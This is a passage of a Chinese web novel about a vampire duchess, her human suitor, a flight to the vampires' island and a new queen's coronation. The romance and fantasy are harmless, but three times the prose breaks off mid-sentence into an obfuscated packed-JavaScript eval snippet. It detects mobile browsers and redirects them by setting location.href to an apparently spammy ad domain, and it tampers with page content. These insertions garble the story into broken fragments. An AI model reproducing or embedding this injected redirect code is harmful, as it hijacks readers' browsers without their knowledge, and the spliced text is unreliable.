他不能理解,为什么他明明想和她一起永生,但她反而离开得更快了呢? 黑红色的血泊变成了黑色,然后化成了黑色尘灰,一点一点消散。 尘灰全然消散以后,他发现,他的爱人,除了一枚圣银子弹,什么都没有留下。 他小心翼翼地拿起了这枚圣银子弹,眷恋地捧在了自己的脸颊旁,轻声呢喃: “如果没有初拥你就好了。” “如果没有做医生就好了。” “如果……不是吸血鬼就好了。” 话音刚落,那枚圣银子弹直接被他穿进了心脏,与碎成齑粉的爱人一同消融在这场盛大的雨葬里。 “……等等我啊。” 27. 开窗 雨还在下。 任务结束后,夜游队回到特族局撰写作战报告。 除奥黛以外,队员们人均是写材料的一把好手,三下五除二提交了报告,回家补觉。 眼见办公室人越来越少,那人还没有回来,奥黛心不在焉地敲了两下键盘,无聊地玩起了头发。 “需要帮忙吗?” 鹿露连人带椅挪到了奥黛边上,今晚第十次向她表达感谢:“谢谢,真的太谢谢您了!要不是您救我,我估计早就摔死了!” 奥黛被人类夸了一整晚,还没有免疫。 人类女孩的眼里闪烁着真挚的光芒,即便不用读心的天赋,也能看出对方的感激。 可是,人类的真挚往往都太过炽热,会烫到她这只黑暗中的吸血鬼。 她用手撑住了与对方相近的那半边侧脸,微微与她保持了些距离,淡淡道:“举手之劳。” “女爵现在连成语都用得这么精湛了吗!” 鹿露惊喜地望着奥黛,越夸越离谱:“简直就是文曲星下凡!不知道在哪里能买到您的著作?哦,这里就有耶!哦!多么文采斐然的作战报告!真是难以想象,这普通的电脑竟然能够承载女爵的巨作!” 撑住脸颊的那只手,食指在脸上有节奏地轻点,看上去被夸得很愉悦。 鹿露顺势拜读起了她的巨作:“‘奥黛。雨夜。医院。救人了。’” 奥黛当即捂住了屏幕,对她说:“不要念出来!” “可我觉得写得很好!”鹿露竖起了大拇指:“短短几个字,时间地点人物应有尽有。尤其是‘雨夜’二字,表达了作者的思乡之情。天赋,绝对是天赋。” 奥黛被夸得忍不住抬起了下巴:“可以交给徐让吗?” “必须可以!!” 话音刚落,奥黛点击“提交”。 两人立刻给办公室关灯落锁。 门关时,奥黛不经意问:“黎信步呢?” “还在忙——每次出这样的任务,队长都会很忙。他需要向上级报告,还要配合各种部门的调查。” “调查什么?” “调查开枪合不合规。像是击毙瑞萨那次,也经历过这样子的调查。” “那这次开枪合规么?” “当然合规啦,当时那个节骨眼上,也只有开枪这一种解法了。那只‘新吸血鬼’飞得那么刁钻,楼上的队员没能击中她,只能靠黎队补枪了。” 奥黛想到烟雾后的那一双眼睛,若有所思。 即便没有聆听对方心里的声音,也知道,他好像是在难过。 在难过什么? 她不知道。 她只知道,直到第二天,黎信步依然没有归队。 有人说,他被停职了。 黎信步窝在被子里打了一个重重的喷嚏。 浑身疲惫,四肢沉重,不知是不是感冒了。 自从得到那块怀表以后,他就开始强身健体,学习格斗技巧。渐渐地,即便不靠怀表的力量,也能够驱退垂涎他的血族了。 也是从那时候起,他很少感冒了。 不知是昨夜的雨,还是其他什么东西在扰乱心绪,他的脑袋有些发晕,难得停职在家,干脆好好睡一觉吧。 可一闭上眼,就能见到那对像枯叶一样急速下坠的黑色翅膀。 ——他实在后怕。 这时,隐约听见阳台传来了什么声音。 他猛地从黑暗中睁开了眼睛。 咚。咚。咚。 很有节奏的声音,不知是什么,一直在持续。 黎信步从床上坐了起来,仔细听了听,卷着被子来到了阳台上。 推开玻璃推拉门,拉开厚重的窗帘,他整个人都定在了原地。 窗外,奥黛张着黑色的翅膀,在十三楼的高空中悬停,无袖的米白色长袍上挂满了浅金色的流苏,像风铃一样晃动。 风铃没有声音,可黎信步却听见自己的心脏疯狂跳动。 像是要从胸腔里跳出来了一样。 惊心动魄。天神下凡。 她的目光垂落下来,淡淡的月华覆在她的身上,他看得失了神。 “你——” 急忙把窗户打开,狂风扑面而来,他的呼吸一滞,声音干涩发紧:“你怎么在这?!” “黎信步。” 星夜下,她微微歪着脑袋,念着他的名字,扫过他眉宇间的阴翳,和眼尾下的淡淡残红。 他喉间一紧,仰着头,屏着息,如朝圣般虔诚地抬头望她。 窗帘这时在他们的中间飞扬起来,一下又一下撩拨着他这个不能飞航的渺小人类。 “我在。”他喉结滚动,眼睛一眨不眨,生怕惊碎好梦。 “雨停了。”她缓缓朝他伸出了手,对他说:“跟我走吧。” “女爵,你这样……” 黎信步失笑,声音沙哑,眼睛更红了:“很容易被我缠上啊。” 已经缠上了。 后悔已经来不及了。 他二话不说就跨过了窗户,浑身热忱,又一腔孤勇地扑向了她。 如果这是一场梦。 那么好梦至此,就算让他粉身碎骨也无所谓。 被单像侠士身上的披风一样猎猎展开,在飞出去的一刹那,被他遗落在了窗沿上。 已经不需要了。 同样是在那一刹那,侠士身上已经覆上了温热的星辉。 奥黛抓住了他的手,揽住了他结实的腰身,带着他在空中盘桓。翅膀时高时低,时偏时正,随她心意变幻着各样的角度。 星辉下,他看见食指的戒指闪闪发光,腕上的蔷薇印记上发出了一丝极为轻微的细痒疼痛。 她在提醒他这不是梦。 穿行的高楼大厦不是梦,疾驰的霓虹灯牌不是梦,掠过的临江灯楼不是梦,逶迤的湖光山影不是梦。 关于今天晚上的所有记忆,通通都不是梦。 在那天没有登上的灵麓山山顶,他们停了下来。 黎信步却没有放开她的手,几乎已经猜到她听到了单位里关于他的流言蜚语,这才特意为他而来。 他对她说:“谢谢,我今晚很开心。” 是非常非常非常开心。 也非常非常非常不想松开手。 她怎么会这么好呢? 十三岁的他每天都在想象照片上的那个人会是什么样。 二十六岁的他却觉得自己所有关于她的想象都很狭隘。 她好到—— 让他想要立刻死在这个晚上。 低头却对上了奥黛警告的竖眸。 她松开了他的手,冷道:“他们说你被停职了。” 黎信步直直地望着她:“怎么?女爵想为我出头?” 奥黛竟然还认真想了一下,也不是不可以。 她的私产,她的奴隶,怎么能随便被停职。 “我可以和云局长说,她看上去明白事理,可以沟通。” 黎信步一怔,眼睛微微闪烁:“那你喜欢她吗?” 奥黛勉为其难地轻点了一下头。 ——绝不是因为她送了自己手表。 黎信步说:“她也很喜欢你。” 奥黛轻轻一哼,谁需要了? “不是队里停我的职,是我主动申请的。上面也没批,只是给我两天假,让我调整一下。” 两人并肩坐在了一条长椅上,仰头看着星空。 “为什么?” “就是,觉得自己暂时没办法做一个好队长。” 奥黛疑惑地望着他。 【我有私心。】 他的指尖过电似的点了一下她的指尖,无法说出口的话,瞬间就抵达了她的心里。 奥黛似懂非懂:“因为我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088110|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “直到现在,我也不确定开枪到底是不是最优解。如果当时你不在场,我大概会想出两个方案,然后选择最优解,冷静地去执行。”他顿了一下,自嘲地笑了:“可是当时,我的心里只有一个本能。” “那么,你成功了。在并不全然理智的情况下,依然能够靠本能击毙对方,”奥黛偏头问他,眼神不解:“这不值得你高兴么?” 沉默许久,黎信步忽然笑了。 酒窝清晰印在了脸颊一侧,声音低醇:“嗯,值得。” 奥黛目光没有移开,又问:“那你说的,本能是什么意思?” “……” 黎信步深深地望了奥黛一眼,低头笑了一下:“女爵不知道吗?前天晚上我可是在这座山的山脚和你表过白。” 哦。 本能是她。 奥黛突然站了起来。 “不过没有关系,我喜欢你,说多少次都可以。” 他坐在原地,仰头看着她。 再次想起他颈侧微凸青筋的触感,尖牙汲血时的酥麻,舌尖舔舐的温热,奥黛忍不住吞咽了一下。 又来了。 那股欢愉裹挟着失控的感觉又来了。 她不想沉沦放肆。 可黎信步却引颈待戮般朝她伸长了脖子:“我喜欢你。” 话音刚落,奥黛一拳打在了他的下巴上,捏着他两肩的衣料往上提,把他颈间裸|露出来的肌肤遮得严严实实。 “我不喜欢你这样。” “为什么?”他眉头微蹙,问:“那你喜欢什么样的?” ——薄莎小姐,那您喜欢什么样的? ——知道了,我会为了您努力变成那样的。 ——薄莎小姐,或许您喜欢我的血吗? …… 一双幽暗的目光打量着黎信步,奥黛有些悟了,又好像没有,索性问个清楚:“你是不是在追我?” 还没等对方回答,她一把攥住了他的领子,凶狠警告:“不许追我!” “……为什么不可以?”黎信步一时没有跟上她的脑回路。 “薄莎说,有人追她是想消遣她。” “可我没有想消遣你。”黎信步微微抬起了头,对上她的目光,认真地说:“是我,想要被你消遣啊。” 他的一生,对她来说短暂、无趣、不值一提,但是如果能让她消遣一下,好像也不算太糟糕。 血色的瞳孔微微张大,手却被对方握住了。 【好吗?】 他的目光真诚炙热,她几乎认为,即使她说不好,他也会在原地静静等着她。 可是面对这样的目光,她竟然,无法说出不好。 奥黛别过头:“勉强考虑考虑吧。” 黎信步说:“好。” “你都不问我考虑多久?”她皱眉:“也许我要考虑很久。” “多久都可以的,”虎牙的牙尖随他说话若隐若现,带着少年人一般的昂扬朝气,说:“考虑到我死,还没等到你的答复也可以。” “奥黛,因为我喜欢你。” 他没有说谎。 不知道为什么,也正是因为他没有说谎,奥黛才变得有些难过。 “不会那么久。”她重新坐到了他的身边,轻声说。 两人谁也没说话,一起看了很久很久的星星,各自留驻着星光。 直到奥黛看到一张久违的面孔。 管家艾克穿着经典的黑色三件套西装,站在不远处朝她行礼:“很抱歉打扰到两位了,不过女爵,飞机已经在等候您了,是不是该启程去永夜岛了?” “再晚,就赶不上为女王加冕了。”说着,他歉意地颔首。 “……” 约好十二点就回的奥黛,竟然,把这件事忘得一干二净。 再一看表? ……已经凌晨三点半了。 28. 永夜 凌晨四点,一架飞往永夜岛的私人飞机自东向西起飞。 这架私人飞机用特殊材料加固过,保证一丝阳光也透不进来。 奥黛坐在舒适的沙发里看着手机,余光瞥见坐在她斜侧方向的艾克一直笑眯眯地望着她,于是问他:“你好像有话要说?” “您和一百年前有很大不同。” “是么?” “当然。” 一百年前的女爵孤独疏离,离群索居,从不轻易对人许下承诺,更不会在离别的时候,轻声对人说,我很快回来。 艾克无奈地笑着,在很多很多年前,他好像也见到过类似的一幕: 少女模样的吸血鬼站在呼啸的山风里,一条暗红色的血迹从她的额间垂落到了她的下巴,可她却浑然不在意,眼睛格外有神采。 踮着脚在年轻血猎的唇角落下一吻,有些兴奋地向他挥手:“我的管家来接我了,你等着,我很快还会回来找你的!” 艾克看到,漆黑的树影下,那位血猎的脸颊红透了。 他一语不发地转身,却又在伊芙琳女爵的掠影冲往山下时,本能回头望她。 三个世纪,两个眼神无声重合,眷恋的目光一模一样。 艾克问:“已经决定好了,是那个人了吗?” 奥黛明知故问:“是什么?” “我看到,他的手上戴着蔷薇戒指。” 他早就把取下戒指的三种方法告诉了女爵,而那枚戒指至今还戴在那个人类的手上,就说明是女爵默认他保留的。 这枚戒指代表什么,女爵是最清楚的。 艾克由衷地为她高兴,三百多年了,终于有人能戴上那枚戒指了。 “只是忘了摘而已。”奥黛说。 艾克的笑意更深了:“好的,女爵。” 奥黛瞥他一眼,轻轻移开目光,低道:“或许,杀了西拉斯以后,我还会继续在星城生活。” 不过,她还没考虑好,究竟该怎么样生活。 虽然已经活了三百多年,但只不过是活着,并不是生活。 ——生活,该是怎样的呢? 她不知道,但她想,黎信步可能会知道。 “怎样都好,只要您能快乐。”艾克对她说。 快乐。 她轻轻咀嚼着这两个字,思绪不知飞向了何处。 她想到旅人的手指跋山涉水,想到心里的悸动掷地有声。 要是这场加冕礼能够快些结束就好了。 她刚离开,又想见他了。 于是问:“还要飞多久?” 艾克说:“大约还有九个小时,您累了吗?我带您去休息区?” “不。”手指把玩着领口的流苏,奥黛缓缓说:“我只是在想,很快就能见到那位新女王了——我至今没想通,她为什么会选中我来为她加冕。” 数千年来,海尔珀林家族与王族的关系,从来都是既不过分亲近,也不疏远,她们的家族并不仰王族的鼻息而活,因此保持着绝对的中立态度。 也正因为这样的作风,一般而言,并不会有哪一方势力格外讨好海尔珀林——基本等同于无用功。 令她意外的是,这位年轻的女王却执意将加冕的殊荣交给她。 历代为血族君主加冕的人,不是王族就是重臣,深受君主信赖。 信赖么?她甚至连新君的面都没有见过。 难道说,她和女王之间有什么她不知道的渊源? 不管怎么说,很快,她就会有答案了。 九个小时后,飞机穿过浓浓黑雾,盘桓在永夜岛的上空。 看了眼手机,微信正好收到了黎信步的消息。 他发来一张她工位的照片。 【黎信步:它好像想开了。"】 照片以她办公桌上那盆太阳花为主体,枝叶如针铺展,托着茎顶的两只幼小花苞,花苞似闭非闭,隐隐露出里面的鲜红。 她把照片放大再放大,仔仔细细地看了几遍,好像在认真地期盼着太阳花开。 奥黛打字问: 【你归队了?】 【黎信步:我也想开了。"】 奥黛勾着唇角告诉他: 【到了。】 飞机轻盈平稳地滑进停机坪,她下了飞机。 以为迎接她的无非也就是海尔珀林的人,没想到,却看见了一排黑甲骑士。 最中间的女骑士手握金剑,一双黑色翅膀威严长开,她礼貌地向她行礼:“女爵阁下,女王让我来迎接您,欢迎您回家。” 女骑士恭敬颔首,长长的黑色高马尾在她肩膀处飒爽轻摆。 奥黛从她们的穿着与肩章上认出来了,是暗骑士。 一直以来,暗骑士都是君主亲卫,从某种意义上来说,他们代表的是君主。 众目睽睽之下,声势浩大地过来接她,奥黛不由得对这位女王更加好奇了。 典礼明天开始,奥黛在暗骑士们的护送下,先回了公爵府邸。 这里一直由艾克打理,花草树木乃至喷泉都和她记忆中没什么两样,有时候她会强迫自己忘掉这部分疼痛的回忆。 父亲长眠以后,她的十岁到十八岁,都在这里度过。 最后以伊芙琳女爵用她递来的圣银匕首自杀而结束。 后来,她带着薄莎离开了这里。 原以为那些痛苦的回忆会困顿她终生,使她此生不再踏足这里,可再当她故地重游时,却又觉得不过如此。 疼痛不过如此。过去不过如此。 一切都不过如此。 穿过前庭,推开沉重的桃花心木大门,来到了高耸而奢华的暗红色主厅。墙上挂着历代海尔珀林女爵的画像,与记忆中稍有不同的是,最右边,多挂了一幅伊芙琳女爵的画像。 奥黛立在这幅画像前,认真端详,才发现原来她和伊芙琳女爵的模样是那么地相似。 是她在不知不觉间长成了她的样子? 还是原本她就和她一个样子呢? 这些年,为了不像她,她有意地克制自己的欲望,不让自己全凭喜好和本能做事。如今却在恍然间发现,她即将走上她的路。 要走么? 该走么? 好像怎么走都会踏入与她相同的结局。 她在血色的地毯上站了许久,一语不发地凝视着伊芙琳女爵的画像。 忽然,不知从画框上掉下来了什么东西,闪烁着金色的光辉,咕噜噜地滚到了地毯上,然后一路从楼梯滚下去。 奥黛身形一动,在它滚出门口前,将它截住了。 俯身拾起。 是一枚闪闪发光的家徽金币。 居然,正反两面都是家徽面。 那就意味着,只要她想,做什么都可以。 奥黛眼眸一闪,怔愣地抬头望着伊芙琳女爵的画像。 母亲薄削的唇角似笑非笑,像是无声的祝福。 她握紧了那枚金币。 前方的路,豁然开朗。 · 翌日,奥黛在女骑士的带领下,来到了露娜宫。 这里是君主的宫殿,她曾在象征着君主威严的君像广场被上一代血王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091573|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 授予公爵爵位。 然而,当她再度来到王宫,却发现这里的变化很大。尤其是原本耸立在广场上的崇高君像不翼而飞,取而代之的是一些栩栩如生、千奇百怪的人像。 奥黛迟疑:“我记得,这里曾经伫立着丹纳血王的雕像。” “是的,女王把它捐给浮城血族博物馆了,”女骑士说,“女王说她身为血族领袖不能藏私,要大力支持血族博物馆的建设工作。” 奥黛望着眼前等人高的蜡像问:“那这些?” 女骑士解释:“这些都是女王的精神财富。女王说每当她迷茫困顿的时候,都能从他们身上汲取到很多力量。” “他们都是谁?” 女骑士一一介绍: “这位是斗战胜佛。” “这位是二郎真君。” “这位是三坛海会大神。” “……” 虽然不认识他们,但奥黛还是礼貌地以血族的礼仪向他们打了招呼。 尽管还是有些不习惯,但撤离了那尊巨大石雕以后,广场不再显得那么震撼和压迫,倒是多了几分随性和自然了。 “露娜宫的变化真是不小。”奥黛说。 “现在已经不是露娜宫了。”女骑士说,“女王给改了一个新名字。” “叫什么?” “灭霸宫。”女骑士解释:“女王说,她想像灭霸一样把响指打好。” “灭霸?”奥黛皱眉:“那是谁?” 几声深沉的乌鸦鸣叫传来,衬得这偌大的王宫更宁静了。 女骑士抬头望着天空盘桓的飞鸦,对奥黛说:“女王在等您。” 于是加快了脚步,带着奥黛穿过了重重人像,来到了王宫花园。 花园里百花争艳,充斥着淡雅的幽香。 鞋底沙沙地踏上龙沙宝石编织出的花廊,像是踩在了柔软的云间。瑰丽的水晶壁灯将月亮的光华吸收分解,映射在雪白长路上,形成一道朦胧的光,光影重重叠叠,梦幻而绮丽。 极目远眺,花廊的尽头,一棵参天大树的枝干下,吊着一只长长的秋千。 一个白裙少女正背对着她们荡着秋千。 女骑士告诉奥黛:“这就是赫纱女王。” 说完,她虔诚行礼,悄无声息告退。 奥黛看到,在秋千的一荡一回之间,女王长长的黑发越过群花与树,血河与桥,像飞鸟一样扑往对岸的高山与殿堂,又轻盈地打着旋儿飞回。 似乎察觉到了什么,她慢慢停了下来,赤足从秋千上跳下。 不知从一旁的石几上抱了个什么,她迈着大大的步子,朝花廊的方向跑来。 她看起来年纪很小,微风掀起她的刘海,露出了光洁的额头,更加显出几分与身份不符的青稚。就像奥黛在星城见到过的刚下晚自习的高中生一样。 女王跑到奥黛面前站定,把怀里的盒子径直递了过去。 “我等这一天已经很久了,”她笑了起来:“终于见到你了,女爵。” 奥黛意外看着她,在对方的示意下,打开了那只红色的礼盒。 一只淡粉色的蔷薇花躺在礼盒中间,花叶之下,是一件叠得整整齐齐的黑色皮衣。 奥黛眉心一动,似乎觉得这件皮衣很眼熟。 仔细一看,又觉得女王很眼熟。 “会觉得我眼熟吗?”女王凑近一步,眨眨眼睛,想让奥黛看得更清楚。 “叫我赫纱吧。”她说。 一瞬间,奥黛记忆闪动。 坎伯利。黑发女孩。皮衣。怀表。 是她? 29. 加冕 可旋即,奥黛又觉得不对。 赫纱如果不是丹纳血王的女儿,就无法继承王位了。但如果她是丹纳血王的女儿,从时间上来看,怎么也不可能是一百年前的那个甜血人。 于是奥黛猜测:“你的妈妈是甜血人?” 赫纱与那个女孩儿长得实在太像,尤其是望人时水汪汪的一双眼睛,很难让人不动容。奥黛不禁猜想,是否是赫纱的母亲在被她救下以后,又邂逅了丹纳血王? “她不是。”赫纱摇摇头说:“我姥姥的姥姥才是。” “太太姥姥被女爵你救下以后,没有吸血鬼敢再去骚扰她了,于是她平安地长大,和太太姥爷结婚,生了太姥姥。太太姥姥一直都想再见女爵一面,亲手把怀表和皮衣还给你,对你说一句谢谢。 “太太姥姥去世以后,找到女爵,就成了太姥姥的愿望。太姥姥去世以后,找到女爵,又成了姥姥的愿望。就这样,皮衣和怀表一直传到了妈妈这里。” 奥黛有些触动。 没想到自己不过只是随手的搭救,与她重逢,却成了一个家族的使命。 赫纱抬起头,凝望着遥远的月亮:“不过十几年前,妈妈用怀表救了一个甜血少年,所以现在只剩下皮衣了。” 奥黛理解地点头,又问:“你母亲在永夜岛么?” 她理所应当地将赫纱的母亲当作上一任王后,却又隐隐感到奇怪。 ——好像从来就没听说过血王有王后? “她死了,女爵。”赫纱说。 奥黛一愣。 “她没有接受丹纳血王的初拥,也没有留在血族当王后。她说,不自由,毋宁死。”赫纱轻轻说,“所以,皮衣传到了我这里。” 说完,她拾起了盒子里的蔷薇,双手递到了奥黛的面前,郑重地说:“谢谢你,女爵。” 奥黛接下了蔷薇,握住了赫纱的手。 后者指节一僵。 无意中听见对方心里那些谨小慎微的不安,和履险如夷的算计,奥黛叹了口气:“一定很辛苦吧。” 一百年,五代人,与她重逢。 赫纱眼睛微颤,意外地看着她。 眼圈突然红了。 奥黛洞悉地看着她:“这就是女王让我加冕的原因么?” “不,不止是这样——” 赫纱微微仰头望着奥黛,通红的眼睛里,不加掩饰地透露出勃勃的野心:“放眼整座永夜岛,只有海尔珀林有资格为我加冕。我,赫纱,也只希望女爵能为我加冕。” 花柄在奥黛的指尖轻轻转动了一下,于壁灯的光影下,蔷薇的花影映照在旁侧的白壁上,像旋转在名利场的礼裙。 不涉足王权并非是海尔珀林的家训,而是,历代海尔珀林公爵都默认没有这个必要。 然而或许早在一百年前,当她救下那个甜血的亚裔女孩儿开始,就已经身处永夜岛的王权争斗之中了。 既然任性叛逆过一次,不如任性叛逆到底。 奥黛凝望着手中这枝蔷薇花,轻声道:“为什么不呢?” 赫纱双眸倏地亮了起来。 浓浓夜色中,一个戴着黑色面铠、穿着黑色甲胄的人无声地来到他们面前。 奥黛认出他是那天与她在别墅见面的暗骑士长洛弗,不知道他究竟听了多久,她竟然都没有发现。 赫纱问:“已经快到典礼的时间了吗?” 对方点了一下头。 “唉,得去换那些很重的衣服了。” 她嘟囔着拨弄了一下素色的裙摆。 浮动的暗香下,三人一起朝血河走去。 月光照耀在这条血色的河流上,泛起了支离破碎的阴森冷光。 洛弗把赫纱接到了一只尖角小船上。 照王宫规定,血河承载着月亮的祝福,任何吸血鬼不可以直接飞过、游过、涉过,王族需渡船,其他人需绕路渡桥,一步一步虔诚走过。 赫纱站在船上,朝奥黛伸出了手:“女爵要不要和我上一条船?” 奥黛斜挽蔷薇,握住了她的手:“嗯。” 两人心照不宣地望向远方。 洛弗站在船尾,用船桨轻轻一划,尖尖的船头破开月亮倒影,平稳地划向彼岸。 血河的彼岸,是整座永夜岛最高的地方。 悬月殿。 它巍峨地屹立在长满了洁白樱花的悬崖之上,尖耸而瘦削,数根修长的黑色立柱撑起了上方高高的尖顶。尖顶之上,立着一只暗红色的巨大圆盘,远远看去,透出淡淡的光芒,恰如一轮血月。 大殿之内,数百位贵族与大臣身着黑色服饰,整齐地站在殿间,吟唱着空灵的月亮赞美诗。 静候着月亮的化身,女王的降临。 奥黛捧着红宝石冠冕,站在大殿的黑曜石高台上,红色王座的后方。 王座之下,十二骑士挺直站立,一手自然垂在身侧,另一只手扶着金剑的剑柄。 不多时,一声沉郁的钟声被敲响。 黑色的厚重大门被彻底打开。 赫纱穿着深红色的礼裙、执金色的尖月权杖缓缓走来。穹顶上,一束的血色光辉跟随她的脚步,直射在她的头顶,犹如血月的赐福。 行至半途,赞美诗陡然出现一两声变调。 本能地,奥黛眉头一皱,竖眸立起。 四周立即传来众骑士拔剑的声音。 在她深红的眼睛里,倒映出死水一样的黑色队伍,队伍里漾出了涟漪一样的骚动。 一道幽寒的不详银光晃到了赫纱的脸颊。 眨眼之间,却见银光切落一缕银发,洛弗无声无息地挡在了赫纱的面前。 砰—— 比银发先落地的,是那位贵族的头颅。 几乎是同时,洛弗扬起自己的披风,暗红色的血液全然喷溅在了他的身上,替身后赫纱遮挡了个严实。 奥黛收回迈下台的脚步,站回了原地。 众人松了一口气。 向来听说这位与迦莱尔王子交好的贵族蠢钝无比,倒是没想到,他在女王的加冕礼上还能做出这样的蠢事。 这时洛弗转过身来,由上自下地看了赫纱一眼,眸光忽地一沉。 他的目光停留在赫纱裙摆处一颗珍珠上,洁白莹润的珍珠沾上了一点黯淡的血迹。 于是他单膝跪地,俯身擦拭着那颗珍珠上的血迹。 赫纱的目光越过银色的发顶,漫不经心地扫过四周的黑色人群,大家连忙低下头,继续吟唱赞美诗,像什么都没发生过一样。 于是她挂着天真烂漫的笑容,一往无前地朝王座走去。 终于,来到了奥黛的面前。 赫纱咬破手指,双指对月:“我,赫纱,以鲜血向月亮启誓,必将带领血族走向新的辉煌。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096307|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 微风轻动,高台之上,奥黛腰下层叠的黑缎裙摆像花瓣一样张开,隐隐透出其中暗红色的血族密纹。 她庄重地将手里沉重王冠放到了赫纱的头顶。 “月亮护佑您,我的女王。”她说。 赫纱对她点了一下头,然后高举着权杖,登上了高台。 台下,黑压压的血族纷纷道:“月亮护佑您,我的女王。” 咚—— 赫纱坐上王位,手里的权杖轻扣着地面,发出一声威严沉闷的响声。 加冕仪式完成。 雪白的樱花伴随着优雅的管弦乐声悠扬飘落。 众人移步殿外,加冕舞会开始。 奥黛不喜跳舞,只是坐在不远处的树下看手机。 微信里果然满是黎信步的未读消息。 半个小时前,他说出任务去了。 一个半小时前,他拍了一张盛开的太阳花的照片。 一个小时五十分钟前,他说提早来了夜游队,带太阳花晒晒太阳。 …… 每条消息的间隔时间长短不一,奥黛一一翻阅,竟然产生一种一直被人惦念的新奇感觉。 翻到最后,是他的几条撤回,以及一句用汉字打出的“我想你了”。 也许怕她觉得烦,他想撤回的时候发现已经来不及了,转而发了两张小狗摇尾巴的表情包,尽量把消息往上顶。 然而,她却并不觉得讨厌。 她像捉迷藏一样,捉到了对方用母语加密的伪装,然后长按引用回复了那四个字。 就像她回复文件那样,正经八百地用汉字批复:同意。 又把消息划到最后,点开了太阳花的照片,喃喃道:“原来开花是这个样子。” 奥黛喜欢太阳花,却从没有见过它盛开。 小时候跟随父亲在深山古堡里生活时,她养过一条叫做莉莉的长耳猎犬。 莉莉生得高大凶猛,却很机灵,隔三差五叼回一朵漂亮的小花,放到奥黛的床头。 每当奥黛醒来,拾起那朵蔫了的小花时,都能看见莉莉尾巴欢快摇动的样子,茶色的圆眼睛忽闪忽闪,骄傲又期待,好像它把全天下最宝贝的东西都交给主人了。 只是奥黛没有白天,莉莉只能耐心地等到太阳花凋谢,然后第二天又带来新的一朵。莉莉不知道自己的主人是吸血鬼,只想把它见过的最好看的花送给她。 莉莉死了以后,再也没有小狗给她找来太阳花了。 奥黛保存了照片,忽然,很想亲眼去见见那朵花。 还有,某只给花晒太阳的小狗。 她刚一起身,就见到赫纱朝她走来,佯作吃醋地开口:“看样子女爵有比舞会还要重要的事情。” 雪白的花瓣簌簌地落在两人面前,奥黛竟然轻轻地笑了一下,不置可否。 “我原本以为,我们能一起出发去星城。”赫纱说,“下周我去签署和平条约。” “可是有一只小狗等不及了。”奥黛按熄屏幕,向她告辞:“下周见,女王。” “下周见,女爵。” 樱花下,赫纱笑着朝她挥挥手。 飞机飞过樱花雪,自西向东地飞回地球的另一端。 嗡嗡的轰鸣声里,一枚蔷薇金币在苍白的指间跃起,旋转着飞向空中。 无论怎么抛,都能抛出她心里期待的答案。 30. 爱人 伴随一声清脆的响声,金币被她拍入掌心。 艾克欣慰地笑着说:“看样子,您已经做出了决定。” 奥黛缓缓摊开手,凝望着掌心这枚金币。 吸血鬼几乎享有永恒的生命,就像一条无止境往前开的列车,因为活得足够久,所以总能在沿途遇见各种各样的风景。 时间一长,有些吸血鬼对风景再也提不起兴趣,往往会选择提前结束这段旅程。有些吸血鬼则盘算怎么将吸引他们的风景带上列车。 可能是一簇花,一抔雪,一泓泉。 于是这些吸血鬼们开始采花,运雪,汲泉,妄以为只要能够运到列车上,那些好景就能永随。 然而花枯,雪化,泉涸,最开始吸引他们的美景,在最后总是不可避免地变得面目全非。时间缔结他们的羁绊,也消磨他们的羁绊,最终以狼狈的姿态,怨怼的心态,奔赴被诅咒的永恒。 所以奥黛决定下车。 在花枯以前,在雪化以前,在泉水干涸以前,至少尚能喘息一瞬。她的爱没有被永恒禁锢,风景也没有。 看着金币上的图案,奥黛轻轻道:“是啊。” 她大发慈悲,决定为他撤去永生的诅咒,避免重蹈父亲的覆辙。 ——这几乎是她能给予的最大宽容。 她决定,把自己的终点往后再延一延。 等他离开人世以后,再赴死。 “去爱琴海的前一晚,伊芙琳女爵几乎把她身上所有的金币都改头换面了。” 艾克看着这枚金币,不禁想到了很遥远的事情,语气感叹:“她那时很高兴,以为万无一失,脚步雀跃,一边走,金币一边往下掉。” “在她看不见的地方,图银大人远远跟在她的身后,一块金币一块金币地捡着。我想出声提醒她,图银大人却对我比了个——”艾克竖起食指,放在了唇边,笑了一下,说:“她掉了一路,他捡了一路。” 奥黛也笑了。 或许那时的父母无疑是最接近幸福的时候。 如果没有后来的初拥,就好了。 收好了金币,奥黛拿出手机看了看,没有收到他的新消息。 微信停在了他说出任务那一条。 不禁想,是在出怎样的任务。 点开夜游队的群,发现向来活跃的群也一片沉寂。 于是她将太阳花的照片点开看了又看。 好在,马上就要落地了。 落地时薄雾茫茫,天空半明半暗,呈现出石板灰的颜色。 几乎在舱门开启的一瞬间,奥黛已迫不及待起身,往外走去。 艾克有些好笑地跟在她的后面,忽然,笑容戛然而止—— 他看见奥黛猛地抓住扶手,身形有些摇晃。 心跳如鼓。 